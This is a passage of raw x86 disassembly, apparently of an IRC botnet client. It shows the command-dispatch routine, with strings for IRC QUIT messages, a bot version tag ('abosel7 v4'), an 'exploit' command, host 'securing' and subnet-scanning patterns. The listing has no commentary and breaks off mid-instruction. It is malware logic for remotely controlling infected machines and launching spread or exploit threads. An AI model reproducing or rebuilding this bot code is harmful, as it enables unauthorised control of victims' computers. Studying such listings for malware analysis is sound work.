push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2670000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 26705B3h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 2680000h push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call near ptr 26705B3h nop jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2680000h push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 2680D12h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 26705B3h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2680000h push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx call near ptr 77E75CB5h nop loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 26705B3h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j call near ptr 2680000h nop push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 26705B3h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2680000h push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 26705B3h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2680000h push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 26705B3h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej call near ptr 2680000h nop push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h call near ptr 26705B3h nop jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2680000h nop push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx call near ptr 77E75CB5h nop loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, 